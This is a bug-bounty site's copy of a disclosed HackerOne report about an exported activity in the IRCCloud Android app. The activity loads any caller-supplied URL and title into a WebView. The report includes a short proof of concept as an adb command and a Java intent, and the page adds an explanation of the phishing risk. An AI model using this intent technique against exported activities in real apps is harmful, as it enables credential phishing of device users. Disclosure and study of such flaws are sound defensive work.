Skip to content
XSS Disclosed report Beginner

[IRCCloud Android] Opening arbitrary URLs/XSS in SAMLAuthActivity

The SAMLAuthActivity in the IRCCloud Android app is exported and loads any URL supplied in an intent extra into a WebView, with a title also supplied by the caller. A malicious app on the same device could open a phishing page under a trusted-looking title and steal credentials.

bagipro Follow

Originally disclosed on HackerOne

  • Fixed in 4 hours
  • Paid in 4 hours
  • Disclosed after 8 days

Hi, I'd like to report a bug which allow to open arbitrary URLs in com.irccloud.android.activity.SAMLAuthActivity

This activity is exported:

XML
        <activity android:name="com.irccloud.android.activity.SAMLAuthActivity" android:theme="@style/dawn" android:windowSoftInputMode="adjustResize">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </activity>

it means that it can be accessed by any third-party apps installed on the same device. On the newest Androids it also could be exploited by Android Instant Apps directly from a web-browser.

In file can see that it opens attacker provided URLs

Java
        if (getIntent() == null || !getIntent().hasExtra("auth_url")) {
            finish();
            return;
        }
        getSupportActionBar().setTitle(getIntent().getStringExtra("title"));
        this.mWebView.loadUrl(getIntent().getStringExtra("auth_url"));

PoC from ADB:

adb shell am start -n com.irccloud.android/com.irccloud.android.activity.SAMLAuthActivity -e title "ATTAAACK" -e auth_url "http://google.com/"

PoC in Java:

Java
        Intent intent = new Intent();
        intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.SAMLAuthActivity");
        intent.putExtra("title", "ATTAAACK");
        intent.putExtra("auth_url", "http://google.com/");
        startActivity(intent);

Result:

2017-10-26_14-17-33.jpg
2017-10-26_14-17-33.jpg From the original on HackerOne
2017-10-26_14-15-36.jpg
2017-10-26_14-15-36.jpg

It's dangerous because user doesn't see real URL. Attacker can open anything and specify any title (like "IRCCloud: Login Required"), and using that trick steal user credentials.

You can test this issue by yourself, APK is attached

The original report as published on HackerOne, by bagipro. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the activity is exported and passes an externally supplied URL straight to a WebView without validating the sender or the destination.

Impact

An attacker could display arbitrary content with a chosen title, hiding the real URL and potentially stealing user credentials through phishing.

What the attacker needed

Malicious app installed on the device; or an Instant App opened from a browser

How it was found

  1. Build an intent targeting the SAMLAuthActivity class in the IRCCloud package.
  2. Add a title extra and an auth_url extra pointing at an attacker-chosen page.
  3. Start the activity, which opens the URL in a WebView under the supplied title.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Android apps can expose screens (activities) so other apps can open them. This screen was open to any app and simply displayed whatever web address it was handed, without checking where it came from. A bad app could therefore show a fake login page inside the real app, and the user would have no way to see the true address.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by bagipro

View all

13 more disclosed reports, best first.

More from IRCCloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.